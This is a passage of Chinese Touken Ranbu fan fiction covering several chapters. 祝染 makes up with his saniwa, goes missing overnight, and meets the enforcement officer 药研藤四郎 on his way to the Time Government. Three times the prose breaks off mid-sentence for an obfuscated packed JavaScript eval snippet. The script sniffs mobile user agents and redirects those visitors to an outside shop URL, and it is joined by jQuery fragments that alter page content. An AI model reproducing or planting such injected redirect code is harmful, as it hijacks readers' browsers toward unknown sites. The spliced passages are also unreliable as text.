但是自从来到这个本丸之后,他总是一次又一次有新鲜的感觉。 压切长谷部告诉他他是一名付丧神,要靠自己的战斗、为了保护历史而存在。 山姥切长义、山姥切国广、白山吉光、还有鹤丸和其他刃,也都在实打实地帮助他学会战斗。 他们看到的、需要的、喜欢的,是“祝染”。 甚至现在,桃濑灯里在告诉他,她在为了他的存在而高兴,她把他当作是家人。 他从来没有听到过这么好听的话。 完全忽略了桃濑灯里说的政府的事情,祝染忍不住地回味着这几个字,差点就要忍不住露出幸福的笑容。 如果不是被桃濑灯里察觉他的走神,又狠狠捏了他一下的话,没准他真的就笑出声了。 只是在阐述自己观点的桃濑灯里并不能理解眼前这个刃为什么心情阴一阵晴一阵的,但是她知道祝染应该是听进去了: “我可能没控制好自己的情绪,下午对你说话有一点重,我现在向你道歉。” “祝染,对不起。”一字一顿的说完这句话,她停了下来,等待着祝染的反应。 作为审神者,桃濑灯里居然在向他检讨自己的问题。 又是一个新奇的体验,从来没有人对他说过对不起。 主人居然也会想向工具道歉吗。 原来这座本丸的付丧神,一直以来都过着这么爽的生活吗。 不对,刚刚姬君说他们是家人来着。 家人之间,就是这样会互相包容的。 祝染本来就很感动,而桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645827|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濑灯里这句突如其来的道歉,更是直接把他内心的防线彻底冲垮了,他愣愣地看着桃濑灯里。 还是鹤丸国永在他背后偷偷戳了他几下,他才如梦初醒般脱口而出: “没关系,我原谅你。” 何止原谅,他现在愿意为了桃濑灯里去死,也愿意为了她而活。 他也喜欢这个本丸,喜欢他们。 收到了自己满意的回复,桃濑灯里的表情终于有所缓和,她当着祝染的面长舒了一口气。 但是下一秒她的手就又牢牢地拍回了祝染的身上,毫无防备的祝染又一次被她摁住: “但是你下午做的也不对,遇到事情要学会冷静思考,不能因为抗拒就乱发脾气,还威胁我。” 在她的注视中,祝染像一株被霜打了的植物般蔫下了头。 他也不是小孩子了,自然知道自己做的事情有多过分。 尤其现在知道了桃濑灯里把他当家人之后,愧疚感更是像决堤了一样涌进他的心间。 虽然他的样子看起来很可怜,但是桃濑灯里要的就是这个家伙认识到自己的问题,所以她继续道: “现在,抬起头来,看着我的眼睛,不许逃避。” “然后跟着我重复,说:对不起,我不应该不相信你,不应该乱发脾气。” “姬君,对不起……我不应该不相信你,更不应该乱发脾气……呜……” 顶着桃濑灯里势在必得的注视,祝染抬起了头,语气认真地复述了她的话。 而在桃濑灯里的目光中,她清楚地看着眼前刃泛红的眼眶里,一颗泪珠先滚出了出来,然后紧接着是一颗又一颗。 落在她还摁着祝染的胳膊上,滚烫地像是岩浆。 祝染,终于哭了出来。 那滴总是将落未落的眼泪,终于有了可以扎根的土地。 明明祝染在哭,桃濑灯里却反而放下了心。 平心而论,本丸里的付丧神虽然各自有各自的心理问题,她也算是开导经验颇为丰富。 但是这还是她第一次像教小朋友一样手把手给付丧神做社会化训练。 甚至对象是一把平安晚期的剑。 看看同时期的刀,哪个不是人情老练的老江湖,特别是老奸巨猾的三日月。 而祝染,虽然看似很丝滑地融入了本丸的生活里,但大概是因为经历的原因,跟人接触的太少,简直跟个住在象牙塔里的公主一样。 徒有年龄,没有阅历。 看似开朗,实则比山姥切国广还要自闭。 如果她想要祝染留下来,那她就必须要教会祝染怎么跟家人相处,怎么正确地沟通和交流。 一个鹤丸国永就已经很吓人了,她的心脏已经受不了他更多的惊吓了。 祝染哭的时候,桃濑灯里也松开了一直桎梏他的手,就安静地坐在他的旁边,看着他抱着法棍和本体啪嗒啪嗒掉眼泪。 这还是她第一次看见祝染哭,虽然一直停不下来,但是很安静,本来就是粉色的眼睛直接被哭成了红色,还一直落泪。 真的很像是受了委屈的小孩子。 她一边给给祝染拍拍背一边想到。 而鹤丸国永此时也有些手足无措,看到祝染落泪,他本来想递帕给室友的,但是掏了一下兜才发现了自己的内番服空无一物。 对哦,他没有带手帕的习惯来着,平常都是蹭烛台切光忠的。 但是鹤丸国永并不是那种轻言放弃的刃,他觉得自己现在有必要做点什么,他选择了向祝染怀里的面包下手。 面包屑都能拿来当橡皮,现在拿来擦眼泪怎么了。 所以他把法棍掰成了一节有一节,递到了祝染的手里。 因为相处久了,所以很轻易就能猜到鹤丸国永的脑回路,桃濑灯里都懒得骂他了。 看着眼前的面包块被自己的泪水打湿,祝染哭得更凶了: “呜……拿走…….我不要吃这个当断头饭…….” ? 谁说这是他的断头饭了。 桃濑灯里和鹤丸国永面面相觑。 25.七舅姥爷我剑跑了 虽然没有明说,但本丸的付丧神们都在关注着祝染和审神者吵架这件事情后续的进展。 而第二天的早上,他们在食堂里先看到了一个脸肉眼可见地肿了一圈的鹤丸国永。 对方的精神状态实在太萎靡,来的路上加州清光跟他打招呼,他都脚步虚浮地走了过去。 完全没听见。 众所周知,鹤丸国永是本丸出了名的高精力刃,平时都是要和短刀们玩到一堆的。 这太反常了,哪怕是山姥切国广都忍不住出声探究: “鹤丸,你什么情况?” 你的脸又是怎么回事。 “染酱呢,没和你一块儿来?” 刚刚被鹤丸国永无视了的加州清光也凑上来,胳膊搭上了鹤丸的脖子,近距离观察他。 啧啧,下颌线都变得模糊了。 如果不是鹤丸国永晚上偷喝厨房食用油,一夜之间体重暴涨二十斤的话。 那他就是水肿了。 听到祝染的名字,鹤丸国永才恍恍惚惚地抬起了眼,语气中满是痛苦: “大概……在主公哪里吧。” “随便吧,我现在不想见到他。” 更反常了。 鹤丸国永居然会说不想见到祝染,本丸一直以来情比金坚的白毛双子星居然出现了内讧? 食堂里的付丧神们不约而同地竖起了耳朵。 依旧是英勇地战地记者加州清光冲在了最前线,他一边颇具刃文关怀地拍着鹤丸的背把对方扶到座位上,一边旁敲侧击: “你俩昨晚也吵架了?他不是刚和主公吵过吗,还没和好吗?” 平时也看不出来祝染这么骁勇善战啊。 “我俩没吵,他和主公也和好了。”鹤丸国永眼神虚无,露出一个疲惫地笑容。 作为最早来到这个本丸的太刀之一,虽然不像大和守安定那样和加州清光朝夕相处,他和对方也算是知己知彼了。 一下子就知道对方想干嘛。 只是平常加州清光八卦的时候,他都是负责打辅助的那一个。 但是现在,他是被采访的受害刃。 虽然身份立场发生了改变,但鹤丸国永觉得这是一个好机会,他必须让所有刃都知道祝染对他犯下的,残忍的罪行。 想通这一点之后,他瞬间精神为之一振,眼睛里酝酿起感情,目光哀怨地投向加州清光: “清光大老爷!我有冤屈啊!” “那个祝染他简直不是刃啊。” 确实不是刃,他是剑来着。 加州清光虽然这么腹诽着,但还是立刻就心领神会,装出一副善解刃意的姿态,一把拉住了鹤丸国永的手,言辞恳切: “快快请讲,无论是情感纠葛还是刑事案件,本官都一定会为你主持公道的!” 但是话虽如此,鹤丸你不会是要掉眼泪吧。 千万别哭啊,本来就肿哭完会肿上加肿的。 完全不知道自己已经肿成了鹤球的鹤丸国永委屈巴巴把他昨晚的遭遇娓娓道来。 在祝染一把拍开了他以为是断头饭的法棍面包之后,无论是他还是桃濑灯里,看着对方哭得梨花带雨的,都是爱心泛滥。 “孩子都哭成这样了,还吃干巴面包确实是凄惨了点哈。”桃濑灯里率先否定了她自己的安排。 要是哭着哭着喘不上气、再被面包噎死了就不好了。 “是啊是啊,染酱他肯定已经知道错了,是不是?” 鹤丸国永也很配合戳了戳祝染,让他给主公一个台阶下。 祝染眼睛红红、鼻头也红红地抽泣着点了点头。 于是一人一刃就这么借坡下驴,迅速一拍即合,决定带祝染去厨房找点别的吃的。 但是桃濑灯里去拿面包的时候,才信誓旦旦地跟烛台切光忠夸下了海口,绝对不会放过这个祝染。 给她吃胡萝卜的刃不可原谅。 此时如果大摇大摆地去,有损她审神者的威严形象。 而且三个人行动目标实在太大了。 最后还是鹤丸国永鹤丸体贴地表示,主公已经为了祝染的事情今天奔波了一天了,回去休息就好。 那时候的他只觉得自己真是善解人意、魅力非凡,哪怕是烛台切光忠也要在他之下。 却完全不知道,这简直就是他命中的一劫。 他们两个的分工非常明确,鹤丸国永在走廊打掩护,祝染自己去冰箱里找自己想吃的。 结果出师不利,祝染一进去,就碰上在厨房检查餐具报损情况的压切长谷部。 不愧是本丸的总务番长,即使桃濑灯里不在,他也在自己给自己创造工作。 而出于羞耻,祝染不想、也不敢告诉压切长谷部他们吵架的真相。 这里可是厨房,除了手合场之外最危险的地方。 他要是告诉忠犬君他用神隐来威胁姬君,压切长谷部当场就能把他压而切之,再煮成一锅香香烂烂的粥糊糊。 所以,顶着压切长谷部困惑且探究的目光,祝染急中生智地表示,其实是鹤丸国永渴了,他来帮室友接水。 然后他就这么“得偿所愿”地捧着一壶压切长谷部给他兑好的温水,仓皇落逃。 第一回合的觅食行动就这么大获全败,还喝了一大壶水,鹤丸国永恨铁不成钢。 至于祝染为什么不喝。 他说空腹喝水对胃不好,用自己还没有退红的眼眶道德绑架了鹤丸国永。 而第二回合,祝染还专门等了一会儿,才以还水壶的名义又回到了厨房。 结果又遇到了来清洗盘子的歌仙兼定。 面对歌仙兼定的关切,祝染支支吾吾,于是又故技重施,带回了一壶水。 这次还甚至贴心地加了蜂蜜和柠檬。 而这就是为什么鹤丸国永今天看起来如此水肿的原因。 两大壶水下去,他昨晚睡觉都不敢翻身。 可以说百分之百都是祝染害得。 “那然后呢,祝染最后吃上饭了吗?”路过的源清麿带着他害羞的好亲友水心子正秀加入了这场谈话。 水心子正秀的大半张脸都藏在立起的领子里面,但是此时眼睛亮亮地盯着鹤丸国永,显然也对此很好奇。 “吃上了。”鹤丸国永表情更加忧伤地叹了一口气。 第三回合,他说什么也不让祝染去了,没用的室友退至他身后就好。 他有预感,要是祝染再带回来一壶水,他们两个的友谊也就此走到尽头了。 而最后,在祝染崇拜的目光中,鹤丸国永雄赳赳气昂昂地,带回来了一锅粥。 “你这比我好在哪里?”祝染嗤之以鼻,但是还是蹲在地上,一边用手扇风,一边乖乖地等着粥凉一点。 “我没办法啊,谁知道为什么厨房一天天刃那么多啊,歌仙刚走,里面又刷新出来一个光坊。”鹤丸国永也非常挫败。 他们两个今晚简直是出师不利,尤其是他,直接开盲盒开出来了厨房的最终boss,烛台切光忠。 看着烛台切光忠关切的眼神,鹤丸国永既不能出卖要面子的祝染,又不想再折戟沉沙收获一杯水。 他只能说是自己今天没吃饱,来厨房找点东西。 “但是你今晚饭都吃光了?”烛台切光忠盯着他,语气中透露出关切。 “可能我今天消化就是特别好呢。”鹤丸国永言之凿凿: “拜托了。光坊大老爷,给点粮吧。” “那好吧。”面对着鹤丸国永可怜兮兮的眼神,烛台切光忠选择顺从。 但是他给了鹤丸国永一碗粥,表示吃这个不会有负担,还顶饱。 “所以说厨房平时居然有这么多刃吗!”一说到这个,鹤丸国永就觉得抓狂,昨晚的经历对他而言简直就是一场噩梦。 “怎么可能。”山姥切长义用看傻子的一样的眼神看着他。 “我们当然是故意出现在厨房里的。” 而在鹤丸国永不可置信的目光当中,烛台切光忠走了过来,双腿交叠,像个男模一样撑着胳膊靠在了鹤丸的桌子上。 歌仙兼定也凑了过来,不过他只是微笑着拍了拍鹤丸的肩: “我给祝染殿蜂蜜水,是因为听到他嗓子哑了。” “只是可惜了,最后全都被你喝掉了啊,鹤丸。” “你昨晚进厨房的时候,肚子都有弧度了,怎么可能是饿了。”烛台切光忠大发慈悲地揭露了真相: “我给你粥,是因为歌仙殿跟我说祝染殿看起来刚哭完,他今晚又没吃饭,怕他消化有负担。” “那、那压切长谷部呢!” 鹤丸国永感觉自己的认知遭到了颠覆,他开始怀疑这个本丸到底什么是真的什么是假的。 “不要叫我压切,直接喊长谷部!”当时刃压切长谷部神秘莫测地闪现在他背后,对着鹤丸国永的头毫不客气地拍了下去。 “我出现在厨房确实纯属意外,但是是我告诉歌仙和烛台切祝染去厨房的。” “所以你们都知道我和染酱去厨房?”鹤丸国永欲哭无泪,像是被抽掉骨头一样、五官朝下软趴趴地瘫倒在了餐桌上: “那我昨晚喝的两大壶水什么?!” “算你爱喝水。”加州清光怜爱地拍了拍他水肿的脸。 鹤丸,真的肿了。 现在看起来像个发面的馒头一样。 “人家祝染哭完了缺水喝点就算了,你跟着喝什么。”山姥切长义嗤笑一声,他对于鹤丸国永的脑回路真是无话可说。 很难想象鹤丸国永平时看着古灵精怪,怎么这个时候怎么实诚,两大壶水说喝就喝。 也不想想自己是那种老师的刃设吗。 “所以,祝染呢?”山姥切国广突然问出了这个被大家遗忘已久的、昨晚的真正主角。 “真不知道,他昨晚说要去厨房还锅,然后去找姬君说很重要的事情来着。” 因为喝了太多的水,实在是行动不便走一步都难受,鹤丸国永就随他去了,自己回到了部屋。 “说起来,好像今早起床也没看到他,被子也是叠好的。” 此时,被山姥切国广这么一提点,鹤丸国永终于消化了水,没了身体上的不适,脑子也转动了起来。 “那不就是一晚上没回来?”加州清光目瞪口呆。 “应该是在主公哪里?”大和守安定提出一种可能。 “他怎么可能留宿天守阁!”对于他的假设,压切长谷部第一个跳出来反对。 确实,昨天晚上鹤丸国永和祝染在厨房越挫越勇遇到烛台切光忠的时候都是深夜了。 祝染有什么事情是非要大晚上去找桃濑灯里的。 在场不少的付丧神心里,都升起来了一种隐隐的预感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655119|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 应该,不会是他们想的那样吧? 而就在他们讨论祝染到底去了哪里的时候,挂着黑眼圈同样精神萎靡的桃濑灯里出现了。 桃濑灯里,一个人,身高168cm,身后无隐藏物。 所以付丧神的目光都聚焦到了她的身上,本来还嘈杂的气氛突然就冷却了下来。 “……?” 桃濑灯里本来还在打哈欠,但被他们突然的安静给吓了回去: “早上好?” “都看着我做什么。” 昨天晚上桃濑灯里回去以后,连夜措辞,给七舅姥爷发了无数条信息轰炸。 一方面是要把她在时政的遭遇和祝染的事情汇报给他。 一方面是提前开始给七舅姥爷做心理建设,试探一下她有没有机会在时政手里要到祝染。 她知道自己现在看起来肯定特别憔悴,所以她今早洗漱的时候连镜子都没敢看。 她就这么自欺欺人。 众刃面面相觑,不知道让谁来说这件事情比较好。 阿路基看起来脸色真的很差啊,要是情绪激动晕倒了怎么办。 最终,在一片混乱中,还是鹤丸国永率先开口了: “主公,你今天有看到染酱吗?” “他昨晚说去找你,然后就没出现过了。” 谁来找我? 祝染? 不知道,没见过啊。 因为熬了夜,桃濑灯里本来脑子还有点恍恍惚惚地反应着这句话,然后突然清醒了。 祝染不见了?! 她昨天晚上千辛万苦哄好了的小兔崽子,没了? 桃濑灯里的眼睛不可置信地瞪大,然后在众目睽睽之下,拔腿就往天守阁跑。 她也不知道为什么要回天守阁。 但是她就是这么觉得,所以她也这么做了。 而食堂的付丧神们看到她的神情,也毫不犹豫地跟了上去。 桃濑灯里从来都不知道自己可以跑得这么快,在后面有一群付丧神在追逐的情况下,居然是她率先到达了天守阁。 而等她气喘吁吁地扶着膝盖拉开天守阁的大门,迎接她的,只有一如平常般清脆的刀铃。 天守阁和她今天早上恍恍惚惚出门的时候看起来一模一样,就连她每叠的被子都还堆在那里。 祝染,没有来过。 桃濑灯里突然感觉自己浑身的力气都被抽空了。 因为刚刚剧烈的奔跑,此时她的大脑也已经完全恢复了正常的运转。 但是她还是想不明白祝染为什么突然消失不见,也想不出来祝染会在哪里。 昨天晚上不是都说好了吗,解开了祝染一直耿耿于怀的心事,也说好了她会努力地留下祝染。 现在又是闹哪样出? 是因为她昨晚说话太重了吗? 祝染这是,还是不信任她,所以选择了不告而别吗。 在桃濑灯里陷入浑浑噩噩的思考的时候,她突然感觉到了自己脸颊处传来冰凉的触感。 她猛然抬头,目光在看清来刃的时候却又一次失望。 是山姥切长义在戳她的脸。 而山姥切国广也站在了她的旁边,目光担忧地看着她。 回头看去,刚刚还在食堂的付丧神、甚至一些刚刚还没有在的,全都挤在了天守阁的门口,此时,他们都在静静地陪着她。 实在是太不合格了,桃濑灯里。 居然让所有的付丧神大早上都跟着自己提心吊胆。 桃濑灯里的理智慢慢回笼,她狠狠地唾弃了自己。 而正在她勉强打起精神,打算说点什么的时候,刃群中突然传来了大般若长光疑惑的声音: “今天的刀铃,听起来是不是比平时闷?” 他长得高,对于刀铃听得分外清楚,而平时也对于艺术鉴赏颇有研究。 是和歌仙兼定、一期一振经常凑在一起开品鉴会的高雅刃士一振。 顺着他的话,众刃和桃濑灯里都往刀铃的方向看去。 刀铃是刀剑付丧神们身份的象征之一,每一位付丧神来到本丸,都会把刻有自己刀纹的刀铃亲手挂到天守阁。 而桃濑灯里本丸的刀铃,从最开始只有山姥切国广孤零零的一串,到现在早已经是像葡萄一样繁荣茂密的一大串。 每有一阵风吹过,各色颜色不同、花纹也各有千秋的刀铃就会被簇拥在一起,发出清脆悦耳的声响。 就像是本丸的大家被聚集在一起一样。 而此时此刻,他们清晰地看到,在众多作响的铃铛中,一串红色的穗子在随风飘扬,上面还挂着一张纸条。 红金的组绳、碎金的缀珠,那是祝染本体上自带的剑穗。 大般若长光把它取下来交给了桃濑灯里。 在众刃的注视之下,桃濑灯里打开了那张纸条,只一眼,她就被气笑了: 字迹工整隽美。 但是,祝染是拿英语写的。 一眼所过去就是好几个她不认识的生单词。 最后还是山姥切国广拿着她的手机给她拍照翻译了一下: 亲爱的姬君: 为了能够早日重逢,我决定去时政坦白从宽了。 在我不在的日子里,请一定思念我,一定担心我。 落款:洗心革面,重新做刃的祝染。 26.七舅姥爷药研钓鱼执法 春川奏,男,20岁,是一位时之政府的审神者,工龄负一天。 因为他明天才上岗,今天是来时之政府办入职手续的。 由于有旧政府的前车之鉴,现在的时之政府对于人类审神者的招收和培训程序无比严格。 考察完资质之后,先客客气气地把人哄进来,让他选好自己的初始刀,和初始刀手拉手许下相伴同行的承诺。 然后迅速把人拉去政府总部隔离,先培训一个月,再考试答辩一个周。 也就是说,从被狐之助敲门到现在,春川奏连自己的初始刀加州清光只见了一面。 加州清光,眼睛像玻璃珠一样又大又漂亮,像小猫一样期待地看着他的加州清光。 在过去的一个月,他只能靠着回忆自家清光明媚的笑脸、和那句“主公,我会一直等着你,等你变成最优秀的审神者的”的承诺,望梅止渴。 呜呜,清光,你一定要等我啊。 春川奏咬着手帕泪眼朦胧。 而在某个夜晚,他终于从睡梦中惊坐而起,意识到了这个政府就是在骗色鬼参军。 即使想通了,但春川奏还是心甘情愿地吃下了时之政府的鱼饵,就这样靠着回忆拌饭,硬生生熬过了整整一个月。 今天就是他考试答辩的最后一天,他如愿以偿地以一个理论满分、答辩优秀的成绩,从时之政府的培训里毕业了。 只要办完入职,就可以回本丸见到自己可爱的初始刀了。 想到美好的明天在等待着他,走在万屋的大街上,春川奏忍不住哼起了小曲。 然而,就在这临门一脚的时候,他被万屋的执法队给逮捕了。 原因是他面对紧急情况实操流程不规范,需要重新补考。 对此,春川奏简直槽多无口。 这都西历2305年了,怎么还会有考察面试者有没有把掉在地上的纸团捡起来这种路数的钓鱼执法。 十五分钟之前,路过的春川奏在拐弯的角落里,看到了一振披着宽大外衣、坐在地上泪眼汪汪的药研藤四郎。 “我被主公丢掉了,可以带我去您的本丸吗?” 凌乱的衣衫、泛红的眼眶、隐忍的表情。 像一只被雨淋湿了毛发的流浪的小猫。 众所周知,流浪猫的花语是手慢无。 喜欢可爱的东西的春川奏瞬间就男妈妈心大发,义愤填膺怎么会有人抛弃这么可爱的药研藤四郎。 他毫无抵抗地就同意了对方想去他本丸的请求。 然后,就在他想伸手把药研藤四郎从地上拉起来的下一秒,一个明晃晃的银手铐就这么扣在了他的手腕上,另一端牵在药研藤四郎手上。 形势瞬间逆转,刚刚还在泪眼朦胧的药研,表情立刻变成了一脸公事公办的冷漠。 顶着春川奏不可置信的目光,他动作敏捷地站了起来,拍了拍自己外套上的灰: “执法队三队队长,药研藤四郎,工号24623,很遗憾地通知您。” “f4269号本丸,审神者春谷,最终考核不合格,您需要重修。” 话虽这么说,但是药研藤四郎的脸上看不到一丝一毫遗憾,只有一片面无表情,仔细看去,眼神中还透露出毫不掩饰的嫌弃。 “根据审神者规范第37条,审神者在任何地方,遇到自己本丸之外的、身边没有审神者的付丧神,都需要立即上报政府,或者就近上报给执法队,不允许私自收留。” “这条规定您也需要重新抄写一遍,并附上1000字的检讨,一个周上报给您的指导老师。” “以上,如果您对我的工作有意见,可以尽、情、在审神者通讯平台进行评价,我们会在十个工作日之内给您反馈。” 药研藤四郎甚至重读了“尽情”这两个字,完全有恃无恐。 “当然,如果您丢的起这个人的话。” 明晃晃的威胁。 这振药研藤四郎,完全不是可怜的小猫,而是一个彻头彻尾的暴君。 清光,你的主公今天可能回不去了,你自己在本丸一定要幸福好吗。 本来还以为黎明在即、现在一下子前功尽弃的春川奏欲哭无泪。 这是一场简陋的钓鱼执法,也是由执法队负责的,不告诉审神者们的最终考核。 看他们在以为自己考试通过、不会再受到政府监控的情况之下,面对突发情况,会不会掉以轻心、露出自己本来的面目。 这一环节的设计,最开始是为了排查那些善于伪装的、虚伪的人类,保护付丧神们的权益。 但实施以来,大部分时间钓到的都是一群心底善良、但是没有常识的笨蛋。 现在都变成给那些表演欲望比较高的付丧神们演狗血剧的娱乐活动了。 作为执法队里知名的反人类分子,药研藤四郎本来只负责巡逻和武力缉拿,像考核春川奏这种傻白甜的工作,根本用不到他。 但是,今天负责这个项目的乱藤四郎要去万屋抢购限量发售的秋季新品,苦苦哀求了他来替班。 虽然不是原生本丸的兄弟,但是面对粟田口的短刀,乱藤四郎还是无法抵抗。 但是他也不是很想在这种一眼看过去就很笨的人类身上浪费时间,多和人类呆一秒,他都想给自己身上消毒。 所以,药研本来打算放这个人类一马、也放过自己来着。 衣服是不符合表演规定不还原的,泪痕是他拿眼药水点的,剧情是他随口编的。 结果就是这么破绽百出的表演,居然还有蠢货能上当。 看着春川奏被捕之后一直嘟嘟囔囔说他钓鱼执法、说药研卑鄙地利用了自己的真心、说他以后再也不会有真心实意的笑容了,他只打算苦笑和假笑。 药研藤四郎都不想承认自己在仇视这种低级的生物。 虽然一直在客客气气地用敬语,但是他看春川奏的眼神,就像是在看一团烤棉花糖一样。 药研藤四郎不喜欢烤棉花糖。 但是眼下这种情况,这个人类的智力还不如一团棉花糖。 “呜呜呜……到头来就只有我家的清光是最可爱的,外面的世界好险恶我要回本丸呜呜呜……” 完全不知道自己已经被药研藤四郎开除人籍的春川奏跟在他后面,像个小孩子一样一哭二闹三上吊。 药研藤四郎对于这句话难得给了点反应,神色怜悯地看了他一眼。 呵。 他还是不知道,就连加州清光那句台词都是政府专门培训的。 一只猴一个栓法,他们专门给初时五刃开设了心理学课程和面相学分析的课程,以便对新来的审神者对症下药。 而就在春川奏垂头丧气地被药研藤四郎拖拽着前行的时候,前面冷漠无情、执法态度恶劣的刃突然停了下来。 他一个不备没刹住脚,下巴直接撞到了药研藤四郎的头,瞬间被撞出了泪花。 完蛋了。 他现在已经想起来了执法队三队的药研藤四郎是何等人物了,对于自己的未来感到瑟瑟发抖。 在审神者们集中培训的时候,他们曾经一起八卦过执法队。 执法队的付丧神虽然普遍仇视人类审神者,但是工作中也不至于故意针对。 但如果是执法队三队的话,那就不一定了。 据传言所说,三队的拘留室,是这个时空里最恐怖、最黑暗的地方,而三队的队长药研藤四郎,是一个彻头彻尾的魔鬼、战犯。 虽然不知道他曾经经历了什么,但是现在只要是人类审神者犯了错落到他手上,出来之后都会精神恍惚,从此对执法队绕道而行。 药研不会趁机告他袭警,把他抓进拘留室吧。 春川奏的心中警铃大作。 但是药研藤四郎才懒得理他,此时,他在前面见到了出乎意料的存在。 雪白的长发、粉色的眼睛,不久之前见过一面的,美轮美奂的脸。 只不过这一次,对方没有再继续女装,而是穿了一袭红色的军装,手中还拿着一把几米开外都贵气逼人的长剑。 此时,他正站在万屋商业街的路边,正在眼神迷茫地左顾右盼。 这究竟是怎么一回事,这位没记名的付丧神怎么自己一个人出现在了万屋,他的审神者呢。 难道说他终于明白了人类的不可靠,自己离家出走了吗? 还是他的审神者虐待他了。 药研藤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667663|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四郎心中猜想连连,此时的他,就像是一位害怕幼崽在外面受委屈的愤怒的家长一样,完全被担心冲昏了头脑。 是的,从在万屋见到祝染的第一面,他就知道了对方不是女生,甚至不是人类。 药研藤四郎,虽然只是得名于本体能够轻易地刺穿药钵,但是作为付丧神的他们确实对药理医学颇有研究。 最开始只是因为作为在战场上长大的刃,耳濡目染了一些紧急的包扎和疗伤的知识,而后来成为付丧神之后,就变成了出于兴趣的系统性的学习。 虽然只是半吊子的军医,但是他还不至于连性别都分不出来。 而确认对方不是人类,则是因为祝染自身的特殊了。 只是不知道是对方根本没打算收敛,还是他自己也不知道自己的特殊之处。 “好久不见,殿下,有什么可以帮您的吗。” 完全忽视自己被暗算的后脑勺,药研藤四郎大步流星地朝着祝染走了过去。 而祝染显然也记得他,在看到药研藤四郎之后,他的眼睛瞬间就亮了起来: “好久不见,执法队的药研!” 跟在药研藤四郎后面的春川奏对此无比震惊,居然有审神者敢跟跟这振药研藤四郎套近乎。 虽然祝染演都不演直接带着本体出门了,但是作为熟读过时之政府刀帐的人,他下意识地觉得对方不在刀帐上,就肯定不是付丧神。 应该是其他物种的审神者,精灵什么的。 “好久不见。”春川奏听到了药研藤四郎的回答。 虽然依旧语调平淡没什么情绪,但是这么有礼貌有回应就已经很打破他对于对方的认知了。 这人谁啊,关系户吗。 “药研,我想去时之政府,你现在有空吗,能帮我带一下路吗。” 祝染能很清楚地看到了药研藤四郎背后那个人类脸色一会儿绿、一会儿白,像是吃了脏东西一样。 但是他才不关心人类怎么样。 他现在是有家人有主人的良家好刃,面对外面的陌生人就应该保持距离。 “您要去政府吗?”药研藤四郎没有直接答应他,而是盯着他的脸反问道。 “如果您需要的话,也可以跟我去执法队的,我们绝对比政府更适合您。” 如果春川奏这个时候有胆子绕到正面看的话,他眼神中的担忧简直不加掩饰。 药研不知道祝染为什么出现在这里,但是他觉得这对对方来讲不是一个好去处。 祝染是一振政府没有的刀剑,如果他去政府的话,按照那些人类一贯贪得无厌的本性,他很有可能会走上那些本灵们的老路。 不,对方的能力还如此特殊,一定会被压榨地更厉害。 毕竟人类就是这样卑劣的生物。 在本丸生活的这一段时间,祝染没少听桃濑灯里在他耳边念叨那些时之政府的发展史。 为了祝染未来有朝一日去时政接受核查的时候不要得罪人,桃濑灯里煞费苦心,甚至请来了时政优秀公务员山姥切长义,给他恶补了政府各个体系的职能机构还有相互关系。 而关于执法队他们对审神者有多恶劣,对付丧神有多无条件护犊子这方面,桃濑灯里更是用自己的血泪教训给他大讲特讲。 所以,此时的祝染很清楚,对于他来讲,药研藤四郎的邀请有多友好。 他完全明白了药研的心意,也意识到对方似乎也知道了自己的秘密。 但是加入了执法队,就不能再回到本丸了。 所以祝染只是看着对方的眼睛,坚定地摇了摇头,然后伸出了自己的手: “要牵我的手吗?” “拜托了,我就要去时之政府,药研,帮帮我吧。” 而此时本来只是在后面围观的春川奏,现在不需要看到药研藤四郎的表情也大脑放空了。 他没听说人类可以加入执法队啊? 还有,这人怎么自说自话地邀请药研藤四郎牵手啊,他就不怕被药研反手来一刀吗。 这可是执法队凶名赫赫的药研藤四郎,怎么可能会答应他。 然后,在春川奏不可置信的目光中,药研藤四郎犹豫了一下,也递上了自己的手。 27.七舅姥爷这个祝染是空气净化器 存在了千年,但祝染是最近才意识到自己的能力的,甚至比山姥切长义问他的时候都早不了多少。 如果准确一点说的话,那就是和压切长谷部来万屋,遇到药研藤四郎和那振三日月宗近的那天。 在溯行军的时候,他就知道自己能感受到暗堕付丧神的暗堕程度,甚至能看清楚他们暗堕气息的走向。 但是这又不是什么很稀奇的事情,别人闭眼感受不到,睁眼还看不到吗。 暗堕对付丧神来讲,是一件几乎无法隐藏的事情,外貌上一定会发生明显的转变。 尤其是溯行军的那些付丧神们,普遍暗堕程度都很深,有的时候刃还没走过来,黑气就已经像乌云一样滚过来了。 祝染觉得挺晦气的。 所以在溯行军的时候,哪怕那些暗堕的付丧神们对他都还算不错,他也不太跟他们亲近。 而药研藤四郎,是祝染遇到的第一个特例。 